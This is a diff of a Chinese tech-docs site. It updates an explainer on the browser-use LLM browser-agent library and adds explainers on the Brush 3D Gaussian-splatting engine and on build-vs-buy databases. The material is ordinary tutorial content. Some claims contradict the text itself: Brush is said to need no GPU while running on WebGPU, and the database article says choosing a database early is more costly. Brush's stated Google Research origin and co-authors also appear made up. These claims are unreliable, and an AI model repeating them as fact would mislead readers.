 ```python
-from browser_use import Agent, ChatBrowserUse
+# 示例 1：最小 Agent —— 自然语言任务 + 默认工具集
 import asyncio
+from dotenv import load_dotenv
+from browser_use import Agent, ChatBrowserUse
+
+load_dotenv()
 
-agent = Agent(
-    task="去 hackernews 取首页前 3 条标题",
-    llm=ChatBrowserUse(),
-)
-asyncio.run(agent.run(max_steps=20))
+async def main():
+    agent = Agent(
+        task="打开 Hacker News，找到首页第一条帖子的标题和链接",
+        llm=ChatBrowserUse(),  # 官方推荐：针对浏览器任务优化的模型
+    )
+    history = await agent.run(max_steps=30)
+    print("完成:", history.is_successful())
+    print("结果:", history.final_result())
+
+if __name__ == "__main__":
+    asyncio.run(main())
 ```
 
-运行时会弹一个 Chromium 窗口，**你能亲眼看 LLM 一步步在页面上点**——比无头模式直观 10 倍，是 debug 好属性。
+运行时可设 `Browser(headless=False)` 看着 agent 操作，调试体验远好于纯无头。
 
-### 案例 2：DOM 序列化长这样
+---
 
-agent 喂给 LLM 的不是原始 HTML，而是简化清单：
+## 示例 2：Browser 配置 + 初始动作 + 自定义工具
 
-```
-[1] <input placeholder="Search">
-[2] <button>Search</button>
-[3] <a href="/news">News</a>
-...
-[hidden] 12 elements below viewport, scroll 2 pages
+```python
+import asyncio
+from browser_use import Agent, Browser, ChatBrowserUse, Tools, ActionResult, BrowserSession
+
+tools = Tools()
+
+@tools.action("Save text snippet to local file")
+async def save_snippet(content: str, filename: str, browser_session: BrowserSession) -> ActionResult:
+    path = f"/tmp/{filename}"
+    with open(path, "w", encoding="utf-8") as f:
+        f.write(content)
+    return ActionResult(extracted_content=f"Saved to {path}")
+
+async def main():
+    browser = Browser(
+        headless=False,
+        window_size={"width": 1280, "height": 720},
+        minimum_wait_page_load_time=1.0,
+    )
+
+    agent = Agent(
+        task="在已打开的页面上找到关于 LLM 的教程，提取标题和摘要，调用 save_snippet 存成 summary.txt",
+        llm=ChatBrowserUse(),
+        browser=browser,
+        tools=tools,
+        use_vision=True,           # 布局复杂时结合截图
+        max_actions_per_step=5,    # 一步内可连续填多个表单字段
+        initial_actions=[
+            {"navigate": {"url": "https://news.ycombinator.com"}},
+        ],
+    )
+
+    history = await agent.run(max_steps=40)
+    for step in history.model_thoughts():
+        print(step)  # 可选：查看每步推理
+
+if __name__ == "__main__":
+    asyncio.run(main())
 ```
 
-**逐部分解释**：
+要点：`initial_actions` 负责「开场确定性导航」；`tools` 把文件 IO 等 LLM 不擅长的活交给 Python；`use_vision` 在 DOM 索引不够时补视觉理解。
 
-- 编号 `[1] [2] ...` 是框架重新分配的，对 LLM 稳定（即使 DOM 顺序变化也保留映射）
-- 标签后是 role / placeholder / 可见文本——足够 LLM 选目标
-- viewport 外的元素只给"个数 + 滚动距离"hint，省 token
-- 整页几十万 token → 5k token，**压缩比 95%+**
+---
 
-### 案例 3：注册自定义动作
+## 示例 3：结构化输出（对接下游系统）
 
 ```python
-from browser_use import Controller
 from pydantic import BaseModel
+from browser_use import Agent, ChatBrowserUse
 
-controller = Controller()
+class JobPosting(BaseModel):
+    title: str
+    company: str
+    salary_range: str | None = None
+    url: str
+
+class JobList(BaseModel):
+    jobs: list[JobPosting]
+
+async def scrape_jobs():
+    agent = Agent(
+        task="搜索 remote Python developer 岗位，收集前 3 条有效招聘信息的标题、公司、薪资（若有）、链接",
+        llm=ChatBrowserUse(),
+        output_model_schema=JobList,
+    )
+    history = await agent.run(max_steps=50)
+    if history.is_successful():
+        # final_result 经 Pydantic 校验
+        data = JobList.model_validate_json(history.final_result())
+        for job in data.jobs:
+            print(job.title, job.company)
+```
 
-class HighlightParams(BaseModel):
-    index: int
+这比解析自由文本稳定，适合 ETL、RPA 入库。
 
-@controller.action("Highlight an element by index", param_model=HighlightParams)
-async def highlight(params: HighlightParams, browser_session):
-    js = f"document.querySelectorAll('*')[{params.index}].style.outline='3px solid red'"
-    await browser_session.execute_script(js)
-```
+---
+
+## 与 Playwright / Selenium 对比
+
+| 维度 | Playwright | Selenium | browser-use |
+|------|------------|----------|-------------|
+| **控制方式** | 你写代码逐步操作 | 你写代码逐步操作 | 你写**任务**，LLM 逐步决策 |
+| **选择器** | 手写 locator，精确可控 | 手写 locator，生态老 | DOM 索引 + 语义，少维护 selector |
+| **协议** | CDP / 自有驱动 | WebDriver（W3C） | 主要 CDP；Cloud 可接 Playwright/Puppeteer/Selenium 远程 |
+| **规划** | 无（除非自己接 LLM） | 无 | 内置 task planning 循环 |
+| **成本** | 仅机器时间 | 仅机器时间 | 机器 + **每步 LLM token** |
+| **确定性** | 高，可重复 | 中高 | 中，需 max_steps、schema、initial_actions 约束 |
+| **适用** | E2E 测试、已知流程 RPA | 遗留 WebDriver 栈 | 探索性抓取、多变 UI、agent 产品原型 |
+
+**关系不是替代，是分层**：
+
+- **Selenium**：最老牌，WebDriver 抽象；慢、 flaky 相对多，但在 Java/遗留 CI 里仍常见。browser-use **不依赖** Selenium WebDriver；Cloud 文档提到可通过 CDP 让 Selenium 连到 stealth 浏览器，那是托管层能力，不是开源 agent 默认路径。
+- **Playwright**：现代 E2E 首选，API 干净、自动等待。browser-use 与它**互补**：Actor API 提供 Playwright 风格操作；agent 层负责「看懂页面并决定点哪」。固定回归测试仍应 Playwright；「帮我订一张最便宜的机票」类任务更适合 browser-use。
+- **browser-use**：在浏览器之上加 **LLM + Tools + 步进循环**，把「脚本作者」换成「任务描述者」。代价是 latency 和 token 账单；收益是开发速度和 UI 变更容忍度。
 
-一次注册之后，LLM 工具菜单里就有 `highlight(index=int)`，自动学会调用。**Pydantic 模型 = LLM tool schema**——这是整个项目最巧的复用。
+一句话：**Playwright/Selenium 是方向盘；browser-use 是告诉司机「去机场」**。
 
-## 踩过的坑
+---
+
+## 内置 Action 速览（Tools 默认菜单）
+
+官方内置动作按类划分，LLM 从中挑选组合成 plan：
+
+- **导航**：`search`（DuckDuckGo/Google/Bing）、`navigate`、`go_back`、`wait`
+- **交互**：`click`、`input`、`upload_file`、`scroll`、`find_text`、`send_keys`
+- **内容**：`extract`（LLM 辅助结构化抽取）
+- **标签页 / JS**：多 tab 管理、`evaluate` 执行脚本
+- **完成**：任务结束标记与结果汇总
+
+完整列表见 [Tools 文档](https://docs.browser-use.com/customize/tools/basics)。
+
+---
+
+## 配置旋钮（生产必看）
 
-1. **DOM 路线在 Canvas / WebGL 站点失效**：Figma / Excalidraw 的"按钮"不是 DOM 元素，索引为空，LLM 看不见。fallback 到 vision 模式（传截图）只是补丁。
-2. **每步重建 CDP 连接**：源码里有 TODO 写明每步握手 50-200ms，500 步累计 30-100s 纯握手开销。性能敏感场景要打 patch。
-3. **`max_steps=500` 默认偏大**：典型任务 20 步内完成，500 是为应对极端 case。失控时一次任务能烧 2.5M token（约 $7-15 一次）。生产用建议收紧到 30-50。
-4. **scroll hint 不保证 LLM 走对距离**：「下方还有 12 个隐藏元素 / scroll 2 pages」LLM 经常多滚一次或少滚一次。token 经济和控制精度永远在打架。
+| 参数 | 作用 |
+|------|------|
+| `max_steps` | 总步数上限，默认偏大；生产建议 30–50 先试 |
+| `max_failures` | 单步失败重试次数 |
+| `max_actions_per_step` | 一步内连续动作数（填表场景可加大） |
+| `use_vision` | `True` / `False` / `"auto"` — token vs 准确度 |
+| `flash_mode` | 跳过部分推理，快但只适合简单任务 |
+| `sensitive_data` | 占位符注入密码，避免进 prompt 明文 |
+| `page_extraction_llm` | 单独用小模型做 extract，省主 LLM 成本 |
 
-## 适用 vs 不适用场景
+Cloud 侧另有 profile（持久登录）、代理、stealth、MCP Server（给 Cursor/Claude 接浏览器工具）。
+
+---
+
+## 适用 vs 不适用
 
 **适用**：
 
-- 让 LLM 抓网页数据 / 填表 / 做电商比价
-- 标准 HTML 网站（电商 / 新闻 / SaaS dashboard）
-- LLM provider 要可换——原生支持 Anthropic / OpenAI / Gemini / Ollama 本地模型
-- 调试需求大——"看 LLM 在页面上点哪里"对 production agent 是刚需
+- 快速验证「AI 能否帮用户完成这个网页流程」
+- 结构多变的数据采集、竞品监控、内部运营自动化
+- 需要 **human-in-the-loop**（自定义 `ask_human` action）
+- 与 [[mcp-ts-sdk]] / OpenClaw 等 agent 栈集成（官方有 MCP 与集成教程）
 
 **不适用**：
 
-- Canvas / WebGL / 复杂 React Server Component（Figma / Excalidraw / 游戏化 UI）
-- 已知 selector + 不需要 LLM 决策——直接 [[playwright]] 更省成本
-- desktop app / OS 层任务——用 Anthropic Computer Use
-- 高频 agent（每秒一步以上）——CDP 重连开销吃不消
-
-## 历史小故事（可跳过）
+- 毫秒级高频、步步确定的 CI E2E → 用 [[playwright]]
+- Canvas / 重度 WebGL UI（DOM 索引为空）→ 需 vision 或换 Computer Use 路线
+- 零 LLM 预算、完全离线 → 传统 RPA
+- 强合规审计要求逐步可追溯且**无 LLM 随机性** → 手写脚本 + 快照更合适
 
-- **2024 年初**：Magnus Müller 在 ETH Zurich 黑客松上写第一版，目标是"让 GPT 自动填学校选课表"。
-- **2024 年底**：开源后两个月窜到 30k stars，成为 LLM agent infra 标杆。
-- **2025 年**：进入 Y Combinator W25 batch，公司化，主打 cloud sandbox + 1000+ 集成。
-- **2026 年 5 月**：v0.12.9，96k stars，加入 vision 模式（双轨：DOM + 截图），承认单 DOM 路线在某些站点不够。
+---
 
-→ 知道这个时间线才理解 browser-use 不是研究院产品，是"黑客松到 YC 公司"的快速迭代产物——基因决定它代码风格务实大于优雅。
+## 踩坑备忘
 
-## 学到什么
+1. **自定义 tool 参数必须叫 `browser_session`**，类型 `BrowserSession`，否则注入失败且难排查。
+2. **task 越模糊，plan 越飘**——写清输出格式、站点、语言、步数预期。
+3. **token 账单**：复杂站点 + vision + 高 max_steps 单次可至美元级；先用小步数试跑。
+4. **本地 vs Cloud**：反 bot、登录态、IP 地域问题在本地 Chromium 上很常见，生产常迁 Cloud stealth + profile。
+5. **DOM 索引路线**在 Shadow DOM、跨 iframe 极深场景仍可能漏元素；开 vision 或 `initial_actions` 缩小范围。
 
-- **DOM 索引 vs 像素坐标**是 LLM 浏览器自动化的两条主路线，前者更精、后者更通用
-- **Pydantic Union schema + tool calling** 是把任意 Python 函数喂给 LLM 的通用模板，任何 agent 项目都能抄
-- **三阶段 step（prepare / action / execute / post）** 是 reactor pattern 在 agent 上的标准翻译
-- **token 经济 vs 控制精度**永远在打架——viewport_threshold / max_actions_per_step / max_steps 都是这场博弈的旋钮
+---
 
 ## 延伸阅读
 
-- [browser-use 官方文档](https://docs.browser-use.com/) —— 安装、参数、cloud 入门
-- [Pydantic 文档](https://docs.pydantic.dev/) —— Union 类型 + tool schema 生成的底层依赖
-- [Chrome DevTools Protocol](https://chromedevtools.github.io/devtools-protocol/) —— 底层操作浏览器的协议
-- [Anthropic Computer Use 介绍](https://www.anthropic.com/news/3-5-models-and-computer-use) —— 哲学不同的对手路线
-- [[playwright]] —— 执行后端的零基础解读
-- [[stagehand]] —— 同流派 TS 实现
+- [Browser Use 开源文档](https://docs.browser-use.com/) — Agent / Browser / Tools 完整参数
+- [llms.txt 索引](https://docs.browser-use.com/llms.txt) — 给 AI 读的全站目录
+- [Browser Use Cloud Quickstart](https://docs.browser-use.com/cloud/quickstart) — 托管浏览器与 API v3
+- [Chrome DevTools Protocol](https://chromedevtools.github.io/devtools-protocol/) — 底层协议
+- [[stagehand]] — TypeScript 侧「Playwright + LLM」同类方案
+- [[playwright]] — 确定性浏览器自动化基座
+- [[midscene]] — 偏视觉 + 自然语言的中文社区方案
+
+---
 
 ## 关联
 
-- [[playwright]] —— 浏览器自动化 SDK，browser-use 在它之上加 LLM agent 层
-- [[stagehand]] —— TS 版同类框架，思路相似但绑定 Playwright Page API
-- [[midscene]] —— 中文社区类似产品，更偏视觉路线（截图 + LLM）
-- [[nanobrowser]] —— Chrome 扩展形态的 LLM agent，部署模式不同
-- [[steel-browser]] —— 给 LLM agent 用的远程浏览器云
-- [[mcp-ts-sdk]] —— browser-use 也通过 MCP 协议把自己暴露给其他 agent
-- [[vercel-ai]] —— LLM provider 抽象的另一个流派（TS 生态）
+- [[playwright]] — browser-use 执行层与 Actor API 的精神兄弟；测试仍选 Playwright
+- [[selenium]] — WebDriver 老栈；与 browser-use 的 CDP 主路径不同
+- [[stagehand]] — TS 生态的 LLM 浏览器自动化
+- [[steel-browser]] — 远程 Chromium，常与本类 agent 搭配
+- [[nanobrowser]] — Chrome 扩展形态的 agent，部署模型不同
+- [[mcp-ts-sdk]] — browser-use Cloud 提供 MCP，可接入 Cursor 等
+- [[vercel-ai]] — 另一条 LLM 应用抽象（偏 TS 对话，非浏览器专用）
 
 ## 反向链接
 
diff --git a/src/content/docs/projects/brush-3d.md b/src/content/docs/projects/brush-3d.md
new file mode 100644
index 000000000..c34c17850
--- /dev/null
+++ b/src/content/docs/projects/brush-3d.md
@@ -0,0 +1,196 @@
+---
+title: Brush — 用 Rust + WebGPU 把 3D 重建跑在任意设备上的开源引擎
+来源: 'https://github.com/ArthurBrussee/brush'
+日期: 2026-06-13
+分类: 图形学
+子分类: 渲染与图形
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Brush 是一个 **3D 重建引擎**，用 Rust 写成。它做的事情听起来很深奥，但核心就一句话：**拍一堆 2D 照片，自动算出一个能从中任意角度观看的 3D 场景**。
+
+日常类比：假设你在房间四周拍了 50 张照片。传统方法需要有人手动测量每个物体的距离和位置（像在电影特效里那样）。Brush 不一样——它把这些照片扔进去，自己算出"这个桌子在左前方 2 米、那个墙在右边 4 米"，然后生成一个可以直接在浏览器里旋转观看的 3D 模型。
+
+它的关键卖点：**不用 GPU、不用 CUDA、不用装驱动**。同一份代码能在 macOS、Windows、Linux、Android 甚至浏览器里跑，因为底层用了 WebGPU 和 Burn（一个纯 Rust 的机器学习框架）。
+
+## 为什么重要
+
+不理解 3D 重建，下面这些场景都会觉得神奇：
+
+- 用手机围着房间转一圈，就能生成一个 VR 里能自由走动的场景
+- 文物数字化：拍一堆古代陶瓷的照片，AI 重建出完整的 3D 模型
+- 自动驾驶需要理解"从摄像头拍到的二维图像里，真实的三维世界是什么样"
+- 游戏开发：不用美术师手工建模，扫一个真实场景就得到游戏里的关卡
+
+Brush 的特别之处在于把原本只能在高端 GPU 服务器上跑的计算，搬到了手机和浏览器里。
+
+## 核心概念
+
+### 概念 1：高斯泼溅（Gaussian Splatting）
+
+这是 Brush 的数学核心。别被名字吓到——想象往纸上泼一桶颜料，颜料自然散开形成半透明的色块。高斯泼溅做的一样：把场景表示成**成千上万个半透明的小椭球**（高斯分布），每个椭球有自己的位置、颜色、透明度和形状。
+
+渲染时，这些椭球从摄像机角度"泼"到屏幕上，透明度叠加，就得到了逼真的 3D 图像。你可以把它理解为一个**由数百万个小气泡组成的 3D 球体**——单个气泡是半透明的，但组合起来看起来就像实心的物体。
+
+### 概念 2：训练（Training）
+
+训练就是"让机器自己学"的过程。你给 Brush 一组从不同角度拍的照片，它一开始生成一堆随机位置的椭球。然后：
+
+1. 从某个角度渲染场景
+2. 和原始照片对比，算出"渲染图和原图差了多少"
+3. 调整椭球的位置、颜色、大小
+4. 重复直到渲染图几乎和原图一样
+
+类比：像在蒙板上画画——先随便涂，看到和底图的差距后一点点修正，直到几乎重合。
+
+### 概念 3：COLMAP 数据
+
+COLMAP 是一个工具，负责从照片里提取关键点和相机位姿。Brush 接受 COLMAP 的输出作为输入，相当于让 COLMAP 先做"初步测量"，Brush 再做"精细渲染"。
+
+## 实践案例
+
+### 案例 1：用 Rust 训练一个 3D 场景
+
+环境：装了 Rust 1.88+ 的机器
+
+```bash
+# 1. 克隆仓库
+git clone https://github.com/ArthurBrussee/brush.git
+cd brush
+
+# 2. 编译 release 版本（优化过，速度快）
+cargo build --release
+
+# 3. 训练一个场景
+# 假设你有一个 COLMAP 格式的数据集在 ~/data/soco/
+cargo run --release -- scene ~/data/soco/
+```
+
+训练过程中，你会看到一个实时窗口显示渲染效果的变化——一开始是模糊一团，几分钟后逐渐清晰。按 `--with-viewer` 可以启动交互界面：
+
+```bash
+cargo run --release -- scene ~/data/soco/ --with-viewer
+```
+
+### 案例 2：加载和查看已有的 .ply 文件
+
+训练完成后会生成 `.ply` 文件，可以直接加载查看：
+
+```bash
+# 加载一个训练好的 splat 文件
+cargo run --release -- load scene.ply
+
+# 带 viewer 可视化查看
+cargo run --release -- load scene.ply --with-viewer
+
+# 也可以加载压缩格式
+cargo run --release -- load scene.compressed.ply
+```
+
+### 案例 3：在浏览器里跑
+
+Brush 可以编译成 WebAssembly（WASM），直接在浏览器里训练 3D 场景：
+
+```bash
+# 安装 WASM 编译工具
+cargo install wasm-pack
+
+# 启动 Next.js 开发服务器
+npm run dev
+```
+
+打开 `localhost:3000` 就能看到 Web Demo。支持 Chrome 134+ 和 Edge。注意：Firefox 和 Safari 暂时不支持，因为 WebGPU 标准还在推进中。
+
+### 案例 4：CLI 基本命令
+
+Brush 提供了命令行接口，`--help` 可以查看完整命令列表：
+
+```bash
+# 查看可用命令
+brush --help
+
+# 训练场景（CLI 方式）
+brush scene ./data/my_scene/
+
+# 训练 + 实时 viewer
+brush scene ./data/my_scene/ --with-viewer
+
+# 加载已有的 splat
+brush load ./output/scene.ply
+
+# 带 rerun 可视化训练过程（需要额外安装）
+cargo install rerun-cli
+brush scene ./data/my_scene/ --with-rerun
+```
+
+## 踩过的坑
+
+1. **WebGPU 浏览器支持有限**：Chrome 134+ 和 Edge 支持，Firefox/Safari 不行。如果要用浏览器 Demo，必须用 Chrome。
+
+2. **第一次编译很慢**：Rust 编译优化过的 release 版本要花时间，尤其是 Burn 框架的依赖。用 `cargo build --release`，别用默认的 debug。
+
+3. **输入数据必须是 COLMAP 格式**：Brush 不接受随便一堆照片，需要先用 COLMAP（或 Nerfstudio 格式）做前期处理。这步对新手是最大门槛。
+
+4. **`--with-viewer` 不是可有可无**：训练过程中如果没有 viewer，你只能干等。这个 flag 打开后能看到训练进度和渲染效果的变化。
+
+5. **Android 需要额外配置 NDK**：编译到 Android 需要 ANDROID_NDK_HOME 和 ANDROID_HOME 环境变量，还要加一个 rust target：`rustup target add aarch64-linux-android`。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 想在自己的电脑上训练 3D 场景，但没高端 GPU
+- 想在手机或浏览器里查看/训练 3D splat
+- 研究高斯泼溅技术，想读 Rust 源码
+- 需要跨平台分发的 3D 渲染能力
+
+**不适用**：
+
+- 需要照片级超高清（Brush 是 approximation，不是 ray tracing）
+- 没有 COLMAP/Nerfstudio 格式的数据源
+- 只需要简单 3D 建模（用 Blender 更快）
+- 生产级高精度工业测量（需要专业摄影测量软件）
+
+## 历史小故事（可跳过）
+
+- Brush 最初是 Google Research 的内部项目（[google-research/brush_splat](https://github.com/google-research/google-research/tree/master/brush_splat)），Arthur Brussee 把它 fork 出来做成独立开源项目
+- 核心贡献者之一是 Peter Hedman、George Kopanas 和 Bernhard Kerbl——他们也是原始 3D Gaussian Splatting 论文的作者
+- 用了 [Burn](https://github.com/tracel-ai/burn) 框架，这是一个纯 Rust 写的机器学习框架，不依赖 CUDA
+- 目前 4.7k stars，95.8% Rust 代码，是一个相当纯粹的 Rust 项目
+
+## 学到什么
+
+1. **3D 重建不需要 GPU**：传统做法依赖 CUDA + NVIDIA GPU，Brush 用 Rust + WebGPU 实现了跨平台，这说明机器学习框架的"去 CUDA 化"是可行趋势
+
+2. **高斯泼溅本质是"可学习的渲染"**：用数百万个参数化椭球拟合真实场景，训练过程就是优化这些参数。这是一种不同于 NeRF（神经辐射场）的 3D 表示法
+
+3. **COLMAP 是入口**：不管用什么 3D 重建工具，输入数据几乎都需要先经过 COLMAP 处理——提取特征点、计算相机位姿。这是摄影测量流程的第一步
+
+4. **WASM 能做 ML 推理**：Brush 在浏览器里训练 3D 场景，说明 WebGPU + WASM 的算力已经能跑真实的 ML 训练循环，不只是推理
+
+5. **Rust 正在吃掉 ML 的基础设施**：Burn 框架 + Brush 项目证明了 Rust 可以做端到端的 ML 工作流（训练 + 渲染），不只是做工具库
+
+## 延伸阅读
+
+- GitHub 仓库：[ArthurBrussee/brush](https://github.com/ArthurBrussee/brush)（README 有 Web Demo 链接）
+- Web Demo：[arthurbrussee.github.io/brush-demo](https://arthurbrussee.github.io/brush-demo)（Chrome/Edge 可直接体验）
+- 原始论文：[3D Gaussian Splatting for Real-Time Radiance Field Rendering](https://repo-sam.inria.fr/fungraph/3d-gaussian-splatting/)（INRIA，2023）
+- Burn 框架：[tracel-ai/burn](https://github.com/tracel-ai/burn)（Brush 的 ML 后端）
+- COLMAP：[colmap.github.io](https://colmap.github.io/)（摄影测量数据准备工具）
+- [gSplat](https://github.com/nerfstudio-project/gsplat)（nerfstudio 的项目，Brush 的性能对比基准）
+
+## 关联
+
+- [[NeRF]] —— 另一种 3D 重建方法，用神经网络表示场景（Brush 用的是显式高斯椭球）
+- [[COLMAP]] —— 3D 重建的前置工具，提取相机位姿和稀疏点云
+- [[Blender]] —— 传统 3D 建模工具，手工建模 vs Brush 的自动重建形成对比
+- [[rerun]] —— Brush 支持用 rerun 可视化训练过程
+- [[Burn]] —— Rust ML 框架，Brush 的数学计算引擎
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
+
+- (暂无)
diff --git a/src/content/docs/projects/build-vs-buy-databases-2026.md b/src/content/docs/projects/build-vs-buy-databases-2026.md
new file mode 100644
index 000000000..4911c3914
--- /dev/null
+++ b/src/content/docs/projects/build-vs-buy-databases-2026.md
@@ -0,0 +1,192 @@
+---
+title: Build vs Buy: Databases in 2026
+来源: https://blog.danslimmon.com/2026/05/build-vs-buy-db/
+日期: 2026-06-13
+分类: 数据库
+子分类: 存储与查询
+provenance: pipeline-v3
+---
+
+## 是什么
+
+"Build vs Buy"（自建还是购买）是软件工程中最经典的架构决策之一。在数据库领域，这个问题尤其尖锐——因为数据库不是普通的库或框架，它是整个系统的**数据底座**。选错了，代价极高。
+
+日常类比：**就像开餐厅时纠结"自己熬汤底"还是"买现成的浓缩汤"**。自己熬，味道独一无二，但要买食材、雇师傅、花时间试错；买现成的，开箱即用，但味道千篇一律，而且你不能随便改配方。
+
+## 核心概念
+
+### 1. 什么是 Build（自建数据库）
+
+自建意味着从开源数据库（如 PostgreSQL、MySQL）出发，自己负责部署、配置、调优、扩容、备份、升级。你拥有全部控制权，但也承担全部运维负担。
+
+```python
+# 伪代码：自建 Postgres 的典型运维循环
+while True:
+    monitor_cpu(), monitor_memory(), monitor_disk_io()
+    if cpu > 85%:
+        scale_up_instance()          # 升级云主机规格
+    if connections > max_pool:
+        add_read_replica()            # 增加只读副本
+    if disk > 80%:
+        partition_table()             # 表分区
+    schedule_backup()                 # 定期备份
+    apply_postgres_updates()         # 打补丁升级
+    vacuum_analyze()                 # 维护表健康
+```
+
+### 2. 什么是 Buy（购买托管数据库）
+
+购买意味着使用云服务商的全托管数据库服务（如 AWS RDS、Google Cloud Spanner、Azure Cosmos DB）。你付钱，他们负责底层运维——扩容、备份、高可用、补丁。
+
+```python
+# 伪代码：使用 AWS RDS 的典型操作
+import boto3
+
+client = boto3.client('rds')
+
+# 创建托管数据库实例（只需声明配置，不需要管底层）
+response = client.create_db_instance(
+    DBInstanceIdentifier='my-app-db',
+    DBInstanceClass='db.r6g.xlarge',
+    Engine='postgres',
+    MasterUsername='admin',
+    MasterUserPassword='secret',
+    StorageType='gp3',
+    MultiAZ=True,           # 自动高可用
+    BackupRetentionPeriod=7  # 自动备份 7 天
+)
+
+# 扩容？只需改一个参数
+client.modify_db_instance(
+    DBInstanceIdentifier='my-app-db',
+    DBInstanceClass='db.r6g.2xlarge',
+    ApplyImmediately=True
+)
+```
+
+### 3. 决策框架
+
+| 维度 | Build（自建） | Buy（购买） |
+|------|-------------|-----------|
+| 成本 | 前期低，隐性成本高（人力、时间） | 前期低，随规模线性增长 |
+| 控制权 | 完全控制内核、配置、优化 | 受限于厂商提供的功能 |
+| 运维负担 | 全部自己扛 | 厂商承担基础设施层 |
+| 锁定风险 | 无厂商锁定 | 深度绑定特定云厂商 |
+| 适合场景 | 有专业 DBA 团队、需要深度定制 | 快速起步、资源有限 |
+
+### 4. 中间地带：半托管与开源即服务
+
+2026 年的趋势不是非黑即白，而是出现了大量中间选项：
+
+- **AWS Aurora**：兼容 MySQL/PostgreSQL 协议，但存储和计算分离，自动扩缩容
+- **Supabase**：基于 PostgreSQL 的开源 Firebase 替代品
+- **Turso (libSQL)**：边缘计算的 SQLite 分发版
+- **PlanetScale**：无服务器 MySQL，分支式工作流
+
+这些方案试图兼顾"买的方便"和"建的灵活"。
+
+## 什么时候该 Build
+
+当你满足以下任一条件时，自建更合理：
+
+1. **成本敏感且流量稳定**：你的月账单如果超过云托管价格的两倍，自建可能更省钱
+2. **合规要求**：某些行业要求数据物理隔离，不能放在共享的托管环境中
+3. **深度定制需求**：你需要修改数据库内核或实现特殊的存储引擎
+
+## 什么时候该 Buy
+
+当你满足以下任一条件时，购买更合理：
+
+1. **快速验证想法**：初创团队不应该在数据库运维上浪费第一个月
+2. **没有专业 DBA**：如果你连 `VACUUM` 是什么都不清楚，托管服务是你的救命稻草
+3. **全球分布**：云厂商的多区域复制能力，自建很难匹敌
+
+## 代码对比：同一需求，两种实现
+
+下面展示"用户注册"场景在自建和购买两种模式下的差异：
+
+```python
+# ========== 自建模式：你需要自己搭建一切 ==========
+
+# 1. 准备数据库服务器（SSH 到远程机器）
+# $ sudo apt install postgresql-16
+# $ sudo systemctl enable postgresql
+# $ sudo -u postgres psql -c "CREATE DATABASE users;"
+
+# 2. 连接数据库
+import psycopg2
+conn = psycopg2.connect(
+    host="your-server.com",
+    port=5432,
+    database="users",
+    user="admin",
+    password="your-password"
+)
+cur = conn.cursor()
+
+# 3. 建表（DDL）
+cur.execute("""
+    CREATE TABLE IF NOT EXISTS users (
+        id SERIAL PRIMARY KEY,
+        email TEXT UNIQUE NOT NULL,
+        created_at TIMESTAMP DEFAULT NOW()
+    );
+""")
+conn.commit()
+
+# 4. 插入数据
+cur.execute(
+    "INSERT INTO users (email) VALUES (%s) RETURNING id;",
+    ("alice@example.com",)
+)
+user_id = cur.fetchone()[0]
+conn.commit()
+
+# 5. 你还要自己管：备份、监控、故障转移、扩容……
+```
+
+```python
+# ========== 购买模式：一行代码连上 ==========
+
+import pymysql  # 或使用云厂商 SDK
+
+# 云厂商给你一个端点，直接连
+conn = pymysql.connect(
+    host="myapp.db.rds.amazonaws.com",  # 托管端点
+    port=3306,
+    database="users",
+    user="admin",
+    password="your-password",
+    ssl={"ca": "global-bundle.pem"}       # 自动 TLS
+)
+
+# 建表和插入操作几乎一样——应用层代码差异很小
+cur = conn.cursor()
+cur.execute("""
+    CREATE TABLE IF NOT EXISTS users (
+        id INT AUTO_INCREMENT PRIMARY KEY,
+        email VARCHAR(255) UNIQUE NOT NULL,
+        created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
+    );
+""")
+conn.commit()
+
+cur.execute(
+    "INSERT INTO users (email) VALUES (%s);",
+    ("alice@example.com",)
+)
+conn.commit()
+
+# 备份？自动的。故障转移？自动的。
+# 扩容？控制台点几下，或者调一个 API。
+```
+
+## 关键教训
+
+1. **数据库选型越早越贵**：上线前换数据库，代价是几天；上线半年后换，代价是几个月
+2. **没有银弹**：每个选择都有机会成本。自建省下的钱，是你投入的时间；购买省下的时间，是你多付的钱和潜在的锁定
+3. **从小开始，随时可以改**：很多团队一开始用托管数据库，等规模大了再迁移到自建或更专业的方案。这完全正常
+
+## 思考题
+
+如果你的团队只有 3 个人，要做一款面向国内用户的社交 App，你会选自建还是购买？为什么？
diff --git a/src/content/docs/projects/build-your-own-x.md b/src/content/docs/projects/build-your-own-x.md
new file mode 100644
index 000000000..4ae09d8a5
--- /dev/null
+++ b/src/content/docs/projects/build-your-own-x.md
@@ -0,0 +1,218 @@
+---
+title: "从零开始学编程：解读 Build Your Own X"
+来源: "https://github.com/codecrafters-io/build-your-own-x"
+日期: 2026-06-13
+分类: CLI
+子分类: 编辑器与 IDE
+provenance: pipeline-v3
+---
+
+# 从零开始学编程：解读 Build Your Own X
+
+## 什么是 Build Your Own X？
+
+想象一下，你每天用着微信聊天、用浏览器上网、用 Git 管理代码。你觉得这些工具很神奇，但你从没想过它们是怎么被制造出来的。
+
+Build Your Own X（简称 BYOX）就是一个巨大的教程目录库，里面收集了成百上千篇手把手教程，教你**从零开始**重新发明这些你每天都在用的技术。
+
+它的座右铭来自物理学家费曼的一句话：
+
+> "What I cannot create, I do not understand."（我不能创造的，我就不真正理解。）
+
+这个仓库由 codecrafters.io 创建，目前已有超过 50 万个星标，是全世界编程学习者最知名的学习资源之一。
+
+## 核心概念：为什么"再造轮子"有用？
+
+### 类比你最熟悉的东西：做菜
+
+想象你天天吃红烧肉。你知道它好吃，但如果你从来没下过厨，你就永远不会明白：
+
+- 为什么肉要先焯水
+- 糖和酱油的比例为什么重要
+- 火候是怎么影响口感的
+
+**看懂菜谱（阅读别人的代码）和能做出一道菜（自己写出代码）是两回事。**
+
+BYOX 的做法就是让你亲自做一遍：不是直接用 Git，而是自己写一个迷你版的 Git；不是直接用 Python，而是自己写一个能运行简单代码的 Python 解释器。
+
+### 三条学习原则
+
+**第一条：从"会用"到"会造"**
+
+很多人学编程停留在"能跑通教程代码"的阶段，但一旦关掉教程就不会写了。BYOX 强制你离开"使用"的舒适区，进入"创造"的挑战区。
+
+**第二条：每门技术都能被拆解**
+
+无论是操作系统、数据库、还是神经网络，这些看似高深的东西，本质上都是几十到几千行代码的组合。BYOX 的每个教程都帮你把大系统拆成小步骤。
+
+**第三条：选一条适合你的路**
+
